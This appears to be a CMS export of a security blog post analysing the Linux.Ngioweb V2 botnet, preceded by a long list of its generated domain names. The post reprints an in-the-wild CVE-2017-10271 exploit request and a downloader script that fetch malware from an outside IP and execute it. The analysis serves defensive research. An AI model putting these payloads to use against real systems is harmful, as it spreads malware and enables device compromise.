opipical-antitoguloless.biz\nultratukarity-inekabedom-minisevaship.com\nprezelafetn.org\nanticotusely.name\nmultisexosaship.org\nmisuxihant-coducakehood-nonegabesion.net\npresikilancy-monomigaran.org\nemesavoth-subisenofy.net\nprosometous-monozibodal.net\nmicrodakuzion-premodument.biz\ncocupisic.info\nilirucer.org\niruzuzate-minifisaness.com\nimemamafy-misitehitency.name\noverisizement-overacimibary-provedebiful.biz\nultracerehufy.com\nprepodatedom-ultranociship.org\nimudekizern-inovakaful-underafimalous.net\nirusuhoth-irigezefy-antimoperic.org\nirasehemal-interapomevible-irurilahood.org\nrefapuboty-cokiraness.net\nantizozovical-emudelern.name\nunderehopenous-misamotider.info\npostimucoful-postopekian-relorodiful.name\nilotikuty-coxupukable-postumepekish.com\nmiserarided-detilefehood.com\nsemirocetion-minihegezuness.com\nmisaratofy-monozagodaless-macrocusunance.biz\nmacrotobulike-subanokoship-irelovian.info\nultracovumed-ultrakubolike-semigocussion.name\noveraxomance-irulariship.org\nnonexabusion.com\nemokefoban-disanomese-emevereness.net\nmicrovufity.name\npostivamulable-suburubocive.name\nenicizazist-iruzasoness.com\nexadunite-postuverely.info\ndehobekern.name\ninixizixage-iramatahood.org\nimihadable.info\nminicikiness-antixicetion-multibemebeness.org\nseminalidism-imotaceth.org\nmisehagiship-progagiless.info\ninteremalufor.org\nsuburifabous.name\ntransudubaless-overusafaxian-renifaless.name\nmultikerikish-ilirehedom-interacicuxen.net\nmonotexution-macrotovuhood-emagaperant.name\ninamurate-examagadian-cokufodist.biz\novererofamary-prohuseless-disagidisism.org\nsubuzaxetible-postocosancy.net\nsubarapaxor-postexedagist.com\nirudohuzancy.biz\nmultibagenish-devokahood.net\nantilaruxed-antisifeful.info\nunderubonohance-promisely.biz\nenakuvussion-cosedetance-multikihuboship.net\nsubuzovosion-antirepitiful-interesevufible.com\nsubikohure-minibupuward.org\nnonuzoseman-multicinufy-imahegading.biz\nenariged-exeraping-ultrafuronoship.com\nretomesetion-disoseceful.biz\npostifufiran-pregegetance.org\nexaticaship.org\nregogadom-enarepument.name\ndisahagese-provekariful-enuxumasure.com\niramorelical.biz\nmultisehidency-multinanisasion.com\nimugimucage.biz\ntransahosipical-remorubidom.info\ncomasehood-iruvinor.biz\npostobuxant-iroriposion.net\nprolikifate-imuzoluhion.name\npostametepary.com\nrefipepous.com\npredahetion-ultravetehood.com\nprenehixuty.info\ntransafuniless-transitelate-propifoly.biz\ntransumohocing-monokifetodom-postodumance.org\nsemizunidom-overivimarern-emapikal.name\ndefibinical-transehemotion.info\ndefacuheth-precononian.org\nmicrobetacism-probotohive-monoriniless.info\nenezurement-minilodolike.com\nmonobicezish-imarorusion-nonulobed.info\ninterihecivage-unafufese.name\ndenafacufy-semibudoder-subobedofy.com\npremipimize.org\nunumekihood.net\nantipusetion.info\nultrakidaness.net\nrevavonussion.biz\ncofuzelike.net\nantibutekaful-ultrasavesion.com\nmisufoneness.org\nprotudofism.com\nmicrogihility-misaholiship.com\nrekucasism.net\nimugigetn-postupecer.net\nsemivutevoly.biz\nenesedupan.com\nimumidesion-exobavapure.info\ninteregupance.net\nsemicivuly-cogicehafy.com\nmicrovonelist.com\nirizakehood-misubavision-micronuzement.biz\ntransafetist.org\nmicrozububical-microlemution.info\npostagasage-subacibedary.info\nmultitacogate-multibimiteship.net\nmisopurision-emaretunion-macrogamufian.biz\noverizupure.org\nimovamive.info\nmininadeth-revivisency.net\nmicromedoless.biz\nenufagixage.net\nmicromahuvern.net\nnoninolish.biz\nmultihakezeship-misececing.name\ninasihite-prodesuless-delizifoship.org\nunorukure.name\ntransovizaful-ilatunition-ultravemokuness.org\nexonucigian.name\noverarubomage.net\npreremahily-cosobihafy-subecarancy.biz\nmininemanable-ilahedoless.info\ndisesebubing-profavodom.biz\ninoresipize.com\nimufopish.info\nminivilolage-ultrabekufy.net\nmisogatulike-rehigussion.info\ninterazevese-subacebal.biz\ninterunanary.org\nexudolohood-semivefodom-enocesoment.biz\ndisetopite-monoximament.biz\ndeharasion.net\nimekixern-postulutetion.name\ninterinifish-presaxetion.info\nundereburency-microxemabuty-colazulous.name\ntransozezassion-coxegocary.biz\nmultitesoship-promoroless.info\ndisecepist-semixidafen.com\nsemilalufern-imilocision.org\nmisuxepify-overosulisary.net\nirerehist-enakeletor-prexilily.info\nminisukufy-prenoculy-overedozetn.net\nimifucic.biz\ninteragapossion-inanusen.com\neminosevic.biz\nileneculion.com\nprexahely.name\ncovigufaship-misuvikist-underoforify.org\nprefafepadom.biz\nmacrokeraleness-irazigoward-prokazivary.net\nnonevebofy.com\nemuholalike-emoricaship-prexolunedom.name\nmacrozihixoness.com\nrezalorite.net\nprobepemal-monolotassion-ultrasuxupite.info\ntransamupiser.com\nsubulururure.info\ncogobetelike-imihoholical.biz\ncocefoxancy-interiligor.org\nprofuretuty.biz\nultranaxafed.name\nenomevapian.com\nemozivion-transagoxehous-misekoludure.biz\nmultitakoth-subarasofy-irorututh.com\nnonukecaship-iruxivexable-ultracikesihood.com\nemikudion-interazelage-monorubifation.name\ncohexifeth-unirizofy.com\nnonetatamancy-cosucoship.com\nunozugovancy-transonagible.net\nsubukufuward-emobukese.info\nultrapedecable-demepeness.com\nprevagazate-unofonism.biz\ntransodigission-postesopian-antibohibussion.biz\npostahusor-refihetous.net\nemanixitic.biz\ndisihariman.net\nirazifeship-profucaxidom.info\nminisizahood.org\nsemigehepoty-enilafaly.info\nunderilugogan.com\nemedepous-multihonuship-nonidivism.info\nmacrosegadage-underolezilize.org\nprohimanize.org\nsemizahixage-recumodiless.info\nminimonoship-monodatiless.biz\nmacroharixahood-exofininic-transufumuful.info\nmacrotahuzofy-semidofavuless.info\ninterucepion-emezubalike-redegufive.net\nmonopurinotion.name\nenamexetite-misehutufy.org\nantipinoless.name\noverofutufish-monoranodom.info\nmultiruvihood-subaxadopern-overuzetor.com\niribulaward.org\nmonohuxifetn-monomipekession.name\nultrabicubesion-prelevoged-misenetefify.info\ninuxodely-iletabize.org\nmicroxemufate.org\nemexecador-postapagilance-pregukaroful.info\nenusitofer.com\nnonamorive-coruvusoship.net\nemeripusion-prozivaxed.net\nimozafohetn-postopitezant.com\nremenazoment.info\ninutedible.com\nemogivonive-underofopite.org\nimupagath-emerunofy-microxepifaless.name\ndisugelity-unadulion-transoxilassion.biz\nmultibokuzision.org\nirihalikency-postumemure.net\nemetovafance.biz\ncohifuxage-ultratifelike-proravihument.biz\noveriguvotion.biz\nultracetuness-reditavan-prepuvaful.biz\ndisomitinure-exudenith.org\npretoxuhoment-ultraduzilike-rekuvepament.name\nultracuvision-imetocalize-conudakure.info\nmultifutoness.com\nmisotomonist-underesapeless-interitehassion.info\nmacrofokabosion-pregulomuful.info\nenigupage.net\nmicromotamity.com\nprohutaxament.biz\nmultihogotical-underaremeful.biz\npostonusilan-imisadeth.com\nnonomokoship.net\nmicrogumafetion-transoloruful.name\ndisecidenate-monozudely-inorirer.com\nmisofesance-underefality-disukasuric.net\nexatuduhary-overecabadom-enalafument.info\ndekohabeward-microguguhish-misihabian.info\ndesorecath-nonotofufy.net\nemagizese-interocitession.info\nenecigese-monozemission.biz\ndehefixern.name\ndegigosiness.net\nantihozecission-underucepeless-depudogish.biz\npostemaxor-subuvutiship.com\nmonobukobation-multibacosish.info\ntransakazese-emetudiber-inemalatant.net\nimisupant.info\ninokalance.net\nsubacebify-inerokate-exokerudible.name\ninterazokable-exomomosion-unozivulity.info\nmultikuzucafy.com\nmisumobage.biz\ninteredixamic.org\nexatisical-transasebage.net\neminumage-ultraronihood-emagisusion.org\nmisapekist.info\nmacrorasisite.biz\nminikumedure-multitikovaship.net\nmicrofocadom-ultraxodaship-subimukuban.name\nunderarefoful.name\noveridabiking-microcuzidism.net\nantifonossion-macroroceth-monoxevezion.net\nantizedulian-exedeneship.org\nirasodelant-cosuzamaness.org\nnonuhahify.net\nsubopuvodate.info\npostecibakite-semipehotion-ilagokeful.info\nmultinosekant-interufixern-misigodepical.name\ndisodutokical-semigunossion-enacozancy.org\nnonapoboship-univehipate-demusuship.com\nirabanacion.biz\nineluzocish.com\nemesoxufor.name\ntransegovecant-regegoful.name\ndedepecofy-misamobize.biz\ncovukided-multivekigese.info\noverevomify-semituricable-imuxagusian.info\npostofugor-misedihency.info\nminihezipuward-antikogukoly-minitotoward.net\nsemidemeheless-multisatehion.name\nenamixite.net\nnonenukehood-nonipusese.biz\nminirodohood-semikimodom-ultraveveship.org\nantigefuned.net\nimupanarist-postirabance-unuxazure.info\ncosaneward.net\nmicrovatuben.com\nmonosihucument-multimadelate.name\noveripomikancy-reketakety-overatahite.org\nrepinahed-antimipily-macrofaxoward.com\niruhacage.info\nmacrobikuloship-prepiziless.name\ntransemecaxite-exizorulive-macrokocaxuness.org\nmonoroxaty-coditoness-antixeretion.info\npostunirancy-emoraboward-misedomuness.org\nmonotafaty.biz\ntransotivaless-transemozorancy.net\nexodotopal.name\nunderibuboly-multiguhurity-multisocupoth.net\nrezorussion-underaguvitism.net\nsubobizian.biz\nminixakapity-overaxuremian.com\nsemibufupical-nonefabible.biz\ndegamufy.com\nmisevelite.biz\ntransidivement.info\npostofesion.org\nirofivunive.biz\ndisepugassion-enubover-imigogify.org\nprofatacic.org\nimegafivic-interasedekern.org\nmonotohiciless.name\npostefofoment.info\nmacromovicity-coliziciness-emarifitan.name\nmacrocebipilike.org\nsuburusifish-disezulabize.net\nnonufekith-prozikitous-exicolasion.biz\npostexuletish.org\nimidilical.info\nilaromuly-postuvadaty.name\ntransohunuless-devepotity-inigovipible.org\nmisuvuboping-disofezify.com\nimekocibance.biz\nmultirigafy-unukazath-imoruxofy.org\nrekucenodom-macrovidubohood.com\npresifotary-subagidaness-unifiloward.net\nsemidosabal-prohifosen-irulubuth.net\nunozisiship-proxacixite-provapepoment.biz\ndecikatuward-eximatite-macrotitatous.name\npostizomaly-enopidupian.org\nantivikogian-resafusument.biz\ninehodancy.org\nreremuloly-ultravomegance.info\niluceviless-cobesify-misilaxuth.org\nprobafoloment-multiruvexasion-irodolohood.org\nprezunation.name\ncosufirith-irurafevese.name\nmulticitivite-overifisian.org\nemeluxiter-underipezoful.name\ntransonipadable-micromuruculess-transecocevical.net\nproludadom-transibisument.info\nenubafition-disosaceman.net\nsubesosify.com\npretasekidom.biz\nunderiganian-irelonimify-inuxefuful.info\nenusesety-disavelen.com\nirisamimal-macrofonoth.com\nirumanish-disifeneless-postugofodous.com\nseminegulate.net\nmonozibecoly.name\ndisehohonable-antivosuvant-nonomezed.biz\ndekehotosion-antilofotoful.name\nmacropilepafy-monopanising.org\nsemilanusement.name\nmultipahofeward-misemebiness.net\nexaxanency-macrokamodith-subelisify.org\nnononemolike-iregekoship-recagetism.org\nsemixufoduful-inaxunition.biz\nmultizuhaness-misuniziward-prorenanoly.name\nunderagalussion.name\ndisemigobancy-antihumument.biz\ntransicukogan-unedipiness.org\nantimuvegancy-semiferisiless.name\ncomusabish-macroboginision.com\nirunukese.biz\ntransoluvisist-subapivogure-transinebian.com\nsubezulion.biz\ncodexutihood-nonopemosion-microhohahish.com\nunopihiward-emaduxaness.com\nmononedepussion-inumiler-emedepify.com\npronurikous-imunebern-disekiduzary.net\nmonopukinoful.biz\ndesizulous.name\noverofopiless.name\nultrateresible.info\niladorian-exeripunal.name\noverilugoty-macrokegoxure.info\ntransasudance-monodinaly-cogetamance.info\nminixuceth.net\nprebavission-transehuvor.net\nretaxossion.name\nmacrosasolike-prezalogity-irinomarage.biz\nmultigonuvance-overimesetion-transefuzeful.biz\nultrahitacese.info\nconadelish.name\nmininotonuhood-imitezer-macrobedoship.com\niretosancy.biz\nilotovic.com\nmonopegality.name\ninterusabuless-ultranavify-microxapikist.net\nsemiralobous-antitesenidom-minibomazihood.com\nimavabibist-underanagoly.name\ntransipilukize-rebikeless-interupulission.biz\ntransocokunite-misomemagian.biz\nmacropetimufy-irosagish-minisudeward.org\nunutexamize-inihorify-subobecoth.net\nsubicosinan.biz\nultrazotasion.com\nprezehiful-conukurern.biz\ndisuzegite-antisevition.name\ncodituhish.info\nultrakixuvuship-nonucaculike-semixasihement.biz\noveronizetion.info\ndisegucely-inuberimism.net\nantixigeten-nonevinoship-misubinolike.com\nmonokidobal.com\nmisevocic-minikanogeness.com\nununacefy-prexefily.info\ndemunivage-interetimiless.info\nminikohivage.name\ndemafasion.net\nemukerufancy-postabiving.net\nmicrocukaxian.com\nantitigutite.net\nnonafocing.name\nenapomiful.biz\ncomifugor.name\ninterukadahite-unuzopetn-disimevoxous.org\nunorotepize-degekikuward-prevamiful.name\nmacropoviward-anticodiful.biz\nmacroholuxufy-emomaceth-misobodefy.org\nmisevakexic-enomucipary.com\niroridovism.info\ninterecomeless-disidikission-inonokist.org\nemodemozible.name\nminidomusion.org\nexiheretn-macrozucusion-unuhepian.biz\ninterurinable-misopitubion.biz\npostuxesify.net\nnonukefalion-minihekifage.name\nmacrodibunant-covidugehood.net\nexogudipish-ilarazifor-semifurity.info\npostiheragic-antizelussion-miniximixetn.biz\noverihotoment.name\ninovufan.com\nrekorikoly-postapohabite-irehiheth.org\nresihokument-inedibadom-interukaxobese.com\nmisidinuward-rehovaful.biz\ntransahosety-interohexal.net\nmicrofikuty-cozuraness.net\nmisubipify-regemoziless-disizasahic.com\nmisapimirese-inifizor.net\nmisogasous.info\ncotosenith-nonekohofion-macrofetuth.org\nmicrorixassion.info\neninazacor-procopament.name\nderaxehuward-subazitish.info\npostupazety.info\nminicakoth.net\nmisenenunary-multifesakure-transofoxant.com\nprecurokation-ilalapish.net\nsemigilitous.com\nanticekipic-unetikenancy.biz\nenecexodom.info\nultrapoloven-transigamance.com\npretiheful.name\nmacrodivuward-imizamism-ilahocution.name\nminikeseness-misidovate.biz\nenolocist-exahazoward-recosifary.com\nreroberancy-iraxifous-transevicenern.net\nmisetepelike-semicadarement-macrokibolike.com\nregasoment.name\noverafupunern.org\nprexuhuled-prebitucossion.info\nunderavegal-imuduvize.biz\noveracuxoping-monodomiment-disoxecing.net\nmisirepahood-prorolonite.org\nmicroxakeror-microxepation-underuronodant.net\nmonopikety.name\ncolanokic-delogisify-cobumuth.com\nrelacelical-semirehigern.com\nsubabozihood.org\nemeleriward-semimocoful-interifihetion.info\nultramasizeth-rexuricission.info\ninepibadom-transexusement-underudokirate.com\nrelodoful-inazifutor-nonafitipance.name\ndegakiring-multitamalulike-exosarese.biz\ndiseburodom.biz\nilivebusion-provovogous-exugikobic.name\ninezokussion.info\nmacrococopish-minituluship-antiluvuless.info\ncozafufihood-execuhance-postasahanish.org\nmicrokobotish.com\nregofaly.name\ndisalatible-misubukith.com\nsubugizobish-postidacage-iruxukical.biz\noverupobidom.name\nultratulahood-noneguvive.info\nunderocukefive.org\nsubasinufy.com\niresizegal-depufapehood.net\niretokeward-unenecixous.biz\nilivusagage.net\nmicrosihoxical.org\nsuboxuveness.net\nsubehefufy.org\nantivovavedom-postagoxible.com\nsemipipedom-deginaship.com\nantifahegion.com\nemuxehoness-emovoxofency.biz\ninterulacetn.com\nrerenussion-ilezetuxish.org\nprexasikable.org\nirobusaging-enocegolal.com\nantigocossion.biz\nenuxagonist-imepehehood-releridom.biz\ndegixehiness.com\nrezedukussion-transaneping.com\nsemifozussion.info\nenehigure-misaxamurist-interexixist.net\nnonaxacihood-irebonozish-transevohency.org\nimosomable.name\nenecimarian-microbifimassion.name\nenesuzacity-refopement-transidocodom.biz\npostupidic-subedadian-underofoxoment.info\ntranseguxution-interuhamugism-irihoxeward.net\nexivorish.name\ndedemify.com\nrekitahadom-multipiliship-presidevite.org\nmonokohohoful-overerukikize.net\npropocazify-misahotify-iretesan.name\ncoparasuship.org\niragopity-overosisement.info\nderuzesion.com\nsuborikapor.biz\nenudipern-antixaboly-ultradomovofy.org\nantinihiless-multiperediship.net\nmicrotesedom.biz\ntransukeletn.net\nmicrokisotion.info\nultravixovive-ilohukikish-exopecuhable.biz\noverepelument-macropomelike-nonezitiship.org\nmicrodotefize-monobedovite.com\nmisegisan-interazasoful-ultraxosimen.info\niniricity-monogimikese.net\nexifopith-propisuty-macrobiguness.net\nresasety-multikobekuth.org\niririmoship-monoxurevance.com\nunufazicese-postelagable.org\nrexocoful-multiraxovical.biz\ndenikager-transaderisancy.net\nsubisivikish-ilurilenan-imisihexist.name\ninterefifed-nonedapoward-prebonuloly.biz\ncogukesuship.com\nantikozohotion.name\nilefoxaly-iluxucadize.org\nprefadirodom.name\nmacromezevite-macrozomotoward-suboxezeness.org\nrepihobary-nonubotath.net\nnonixurive.name\ninatomeletn.com\nimehifoded-derodeward.org\nunetolinible-multidofexern-iluhumese.com\nexazegetn.info\nmultikevelike.net\nmicrofidiment-ilolerency-misivezelize.name\nminisahimiward-regabokoly-dekezosese.info\niliputobous-microkusession.info\nmultivepilike-emusoketn-enihenatable.com\nimopedahary.info\noverimupigish-prozunily.info\nilulohipism-microhasoless.name\nunderogemement-minifocaman.info\nultrasulahood-iropogision-imomuvuhood.net\nrezepuxical-subocinary.info\nultrabesacify-emuferiming.name\nunderepibible-exarozish.info\ntransenumument-ultrameresision.org\nprokunikency.com\nexaduhify-prepexily.info\ndisugosize-proserahible-emogucern.info\ndisexeguless.info\ninemebous-nonecezancy.biz\nenuguvohish.org\nrebasotity-postifoner.org\nmisekozihancy-miniretulelike-anticulevument.biz\ntransobonetion.biz\noverapezor-renihution-interozopoful.name\ndemexoming-transoratirite-precezerancy.net\nprekageren-prodikuzument.name\npostufimation.info\npostugakive-subodavure.name\ndemetosith-pronizevission-underogovable.com\nantizufossion.info\noverifodist-exinutiship-probibalidom.info\ndetozahood-exehorobify.name\nmacrohukoxure.info\ndisigaror.net\nsubadadutian-underatuzity-imapuxonist.biz\nultraxapohood-unukuxible-inalusacant.org\nimidufion-multifaxehood.org\nirevitinive-interekemily-devudedefy.com\nprobekohodom-transohimument.info\nmultivamision-unabizable-minivifebusion.net\nemecazufing.biz\nenofelary.net\nantivizodidom-underozivuzal.org\nsemiragotion.biz\nultrataconess-microrogotion.info\nultrahezuveth-nonivocify-unenokith.com\nemeciritize.info\nminirahision-iroficecic.name\nmacrofiturive-disabotous-misuxoxoward.com\nunimeceth-antifexaty-dexevexoth.net\nimuzifuship-antixutoless.name\noverumudukist-microfahuhation-undericozist.net\nproviburaty-disadufezal.com\nimonoroship.net\npretohihotion-macroxerameness-irekiboward.net\nunaxadumer-ilufitary.com\nsubigecilike-remimussion.info\noverikelirern.com\nemohinan-overekirenion.org\nantisizaly-transecegety.name\nilomirism.com\nmicrosuression-ultrabumutive-transisapussion.biz\noverorohokic-pretezacian-misilefusion.org\nmonoxatocan-imavitulency-eniguboring.net\nunuzugable.biz\npostiduvern.org\nmicromomabed-semikikefage.net\nantimineful-interanosotion-transulicate.com\nrenavilaty.biz\nmultigidumable-disefezage-irebekency.name\ninugecism.org\nememozian-interapurossion.info\nilecevish.org\nantihusiment-macrovarilision-semisoxument.name\nminixecumoward-antibevunely.biz\nmacroguzofy-exuluparical.name\npostutasian-emosolosor.name\nmacromagehood-exarexofion-depetihood.com\nmisipivixency-transerezucing-monobegofassion.biz\nilizehidom.name\nultrafaruhood-prohudodom-overatopument.info\nenurudition-multigidohood-exorovusion.com\nmisebataness-antifupition.info\ncosefuness-antikufeputy-transenuvous.net\nprexubupossion.name\nultranucopite-multifevuship.net\nprofahudom-ultraxediship.org\nprexevadom.biz\ntransipekal.org\nmonogixition.info\noveruletedite-misokorism-enetunan.net\nrezobucous-prodotily-ultraleveward.org\nimogugomed-ultradomukaship-prodezavadom.info\nultranotohood-mononuzocotion-minipariveness.org\nmonovuvecish-monohedonaless-ultramurahuship.org\nsubanomigate-underogozeful.info\nultrafohuward-imuheber-interasiririze.net\nimuhuxoth-misefatasive.biz\ntransosurugen-nonumovern-macroxanulike.org\nunofafuhood-misasusomism.biz\nenuvahion-nonelipical-interolugor.org\nsuboserite-underuxafakous-subatihoward.com\nprepamovary-iresucefy-emagabive.name\ninterafuxession-delosorolike.com\nunixagihood.com\nunasodatite-overugasist-semivobuduty.info\nmacrovafith.com\nematogafible-interaxologor-iregiding.info\nderivacing-iloxeheful-inecemed.org\nmicroseboful-transebisation-degokition.biz\npostorabity-miselugific-minizahiward.com\nmonokacily.name\nunderucotal-monobunedoless-minikulify.net\nreceziless-ultradasify-prefazofish.org\nmonolalession.name\nunderizonedom-macropodavuhood.net\nmisopoval.name\nunderivadant-semibofixoty.info\nminipeboxing-deracocify.biz\noverumakency-prekozulure.com\nexufifision.com\nprezalehaly.info\ndekasafy-imevinupable.info\ncoviviship-pronehaless.info\nultratovibuhood-microburodom.info\nunderucebohical.net\nantitegabussion-devumuth-revexorical.com\niritukan-interatadite-misafegoth.com\nsemibizolument-underotaxive.net\nmisilaracal-minisomudese.name\ncobevahant-minimufocity-cotoxanoth.com\nprozapetament.info\nunderumamotion-interediripite.org\nexofecukity.biz\nunderusimant-unigaverical.info\nunderarixogage.org\niripabath-irecuboxible.info\nunderobomipous-imofevazancy.info\ndekegexive-derokukith.net\nmicrobigukement-overazoredom.info\npostaruxanant.com\nremenuty-postexinity.org\nirohorafy-antixomafese.org\nexanisary-disomugetn-rekamaty.name\ninterasupukity-emufucoship-semibumaless.info\nmacronoboship-probihohodom.info\nenorasancy-irenagion-underexelozer.net\nprevesuxage-prevakomous-exorovage.info\ninehegely-enolobocical.net\niranuzulike-subibeneship-misezomor.name\ninteripurusist-antimafidom-multinedisency.info\noveridaturary-antikezuful-dexepovish.name\nultrakorudath-exofabidern-cogenakulike.org\nsemipodofate-misibogesion-unasobuhood.org\nemubicodency-interotupure.net\nimetocirian.biz\nunderunazency-microrisover-antineheless.biz\nmacrocumubohood-emukafosion-subupenure.info\ndepifesion-suburinipible-interinokage.com\nunihogish.name\nminilugovefy.net\nsemigakitan.net\nmisuviking-transidodunate.com\nantimupacary-unixosaward.com\nimizagution-cokivaxoship-emavavism.info\npostivikism-prefuvezedom-denihuship.org\nirirecupist.biz\ncofiresary-dedidigage-multivucaness.com\nrelarity-inagomese-exaderaward.net\nnonusonuth-exifaxufy.net\nsubinobese-transinacibic.net\nexegudous-underitifiment.info\nmulticupapize.info\nposticazalish-emedokician-transezuraless.info\nultranepacihood.net\nunorubese-inozoficese.org\nunocacish-enoniculy.biz\ninakirission-multihigutite-dedafuleship.net\nimenazotian-ilesafance.com\nanticocacable-imonifion-interapopation.biz\nmininovition-underucuxety-transamurizancy.com\nemozonous.biz\noverofucodom-ultrafizudive-enekaconism.org\nrecitofuly-multikobepofy.org\nsemixexiless-ilagamic.org\nprerozunodom-interixudoment.biz\nunderanipetn-imanodidible-ultraropagic.name\nmultikafenoth-antiguhipassion-multilitebern.info\nultralufetous-underecanagive.net\nsemihesegite-nonilakal-postubetinese.net\nnonepitopible-overozuzate-emuxevive.name\nultrafikuth.org\nmicronixogage-prerihapian-monomibession.info\ntransahihancy-semizehogament.info\nminihihokuward.net\nimenipapary-inubuharist-prebemunedom.name\ndisixadible-monocirecing.org\nexixefugal-inaxedoty.biz\npostunolobage-premugossion-dexokacate.name\nmultizocisehood-nonulafapous.name\nultracimosary.info\nenotufassion-minikavunous.biz\ninuhamage.net\nmisulonupism.info\ndesemamoth-recabalible.org\nsemixukehify-semihofenoment.name\ntransaroran-subobukezish.name\nmacrotaxigian-degoxobance-ilidilant.org\nantitamokaless-ilusulussion-inaretiless.name\ninelocument-enazobity.net\npretetegize.com\nprosimetion-interamexish-misexesency.info\nunderofogize-iruposision.com\nnonopegeker-enorefuty.info\ndisokehamary.org\nunetikuhood.org\nnonisuzilant-intererevafian.org\nprenukorive-semimelekical-semixuxihement.biz\noveraxehous-misugutuhood-nonubetabate.name\nilunomabify-unonebern-devicepant.biz\nilegugize.org\nexofiralike-imakefebous-inomaluzed.com\nantidavumetn-regulanuty-inenidure.org\nexupamify-subixosoth.com\nregahagize-antitaliless-underoparossion.name\nmulticefolike-antilihelite-proxunezate.com\nsemimuxoment.info\ndisuhosate-nonasilahood.net\nprepevation-postebixish-probunedom.info\n```\n\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5fa939797646030007b2965c |
post | null | 2020-11-12T08:13:24.000Z | 63873b9a8b1c1e0007f52f8c | linux-ngioweb-v2-going-after-iot-devices-en | 0 | 2020-11-13T07:28:42.000Z | public | published | null | 2020-11-13T07:21:41.000Z | Quick update on the Linux.Ngioweb botnet, now it is going after IoT devices | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On June 21, 2019, we published <a href="__GHOST_URL__/an-analysis-of-linux-ngioweb-botnet-en/">a blog</a> about a Proxy Botnet, Linux.Ngioweb.</p>
<p>On August 4, 2020, we captured a batch of ELF files with zero VT detection, which are variants of Ngioweb.And we just named it <code>V2</code>.</p>
<p>Two weeks later, on August 16, we noticed that 9 Nday vulnerabilities were used to spread Ngioweb V2 samples, involving x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) As well as PPC, Hitachi SH, IBM S/390 and other CPU architectures, this marks the beginning of Ngioweb's attack on IOT devices.</p>
<p>On November 5, 2020, IntezerLabs <a href="https://twitter.com/IntezerLabs/status/1324346324683206657">twittered</a> about a zip archive called "bins.october", which contains 50 Ngioweb samples targeting various linux OS.</p>
<p>With the low low detected rate on VT, and newly added IoT support, we think it is worthing providing a quick update to reflect the key new features with the new variants, so here are some quick outlines.<br>
。</p>
<h2 id="overview">Overview</h2>
<p>The main function of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy on the victim's machine<a href="https://hide-ip-proxy.com/what-is-a-backconnect-proxy/">[1]</a>.The attacker builds multiple bots into a Proxies Pool and controls it through a double-layer C2 protocol, and then provides a Rotating Reverse Proxy Service.</p>
<p>At present, we have divided Linux.Ngioweb into two versions, V1 and V2. Their core functions are the same. The biggest difference is that V2 puts a lot of information previously stored in plaintext on the stack into one configuration stored in the DATA section, and uses AES encryption.</p>
<p>The main comparison is as follows:</p>
<p><a href="__GHOST_URL__/content/images/2020/11/ngio_compare.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngio_compare.PNG" class="kg-image"/></a></p>
<h2 id="vulnerabilities">Vulnerabilities</h2>
<p>Ngioweb V2 is spread through the flowing vulnerabilities. It can be seen that there is no particular preferred device.</p>
<ul>
<li><a href="https://www.exploit-db.com/exploits/28484">CVE_2013_3568</a></li>
<li><a href="https://www.exploit-db.com/exploits/46400">CVE_2019_8387</a></li>
<li><a href="https://github.com/jas502n/CVE-2020-14882">CVE_2020_14882</a></li>
<li><a href="https://www.exploit-db.com/exploits/37171/">D-Link Devices - HNAP SOAPAction-Header RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/41471/">JAWS_DVR_RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/40212">NVRmini_cgisys</a></li>
<li><a href="https://www.exploit-db.com/exploits/38449">Netgear_Voice_GW_RCE</a></li>
<li><a href="__GHOST_URL__/in-the-wild-qnap-nas-attacks-en/">QNAP_NAS_QPS_SID_RCE</a></li>
<li><a href="https://github.com/c0mmand3rOpSec/CVE-2017-10271">CVE-2017-10271</a></li>
</ul>
<p>Take CVE-2017-10271 as an example, the payload in the wild is as follows:</p>
<pre><code>POST /**t/Co**ortType HTTP/1.1
Host: {}7401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 564
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/sh</string></void><void index="1"><string>-c</string></void><void index="2"><string>cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
</code></pre>
<p>The corresponding download script is shown below. The function is very simple: download and execute the Ngioweb sample, and then remove itsel.</p>
<pre><code>#!/bin/sh
n="QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n
do
rm $a
wget http://94.102.50.143/$a
chmod +x $a
./$a
done
for a in $n
do
rm -rf $a
done
rm $0
</code></pre>
<h2 id="botscale">Bot scale</h2>
<p>We were able to sinkhole a few of the DGA domains so we could get a picture of how many bots the botnet has recruited. The following graph shows the V1 version of the bot count, about 3k active daily IPs.<br>
<img src="__GHOST_URL__/content/images/2020/11/Snip20201110_5.png" alt="Snip20201110_5" loading="lazy"></p>
<p>Our DNSMon system shows similar numbers on the DGA domain names that has been used.</p>
<h2 id="linuxngiowebv2newfeatures">Linux.Ngioweb V2 new features</h2>
<p>V2 samples contain almost all the popular CPU architectures. Here let’s take a look at the X64 architecture.</p>
<blockquote>
<p>MD5:ce4c23642878788ecaedd0903663244d</p>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:None</p>
<p>Lib:uclibc</p>
</blockquote>
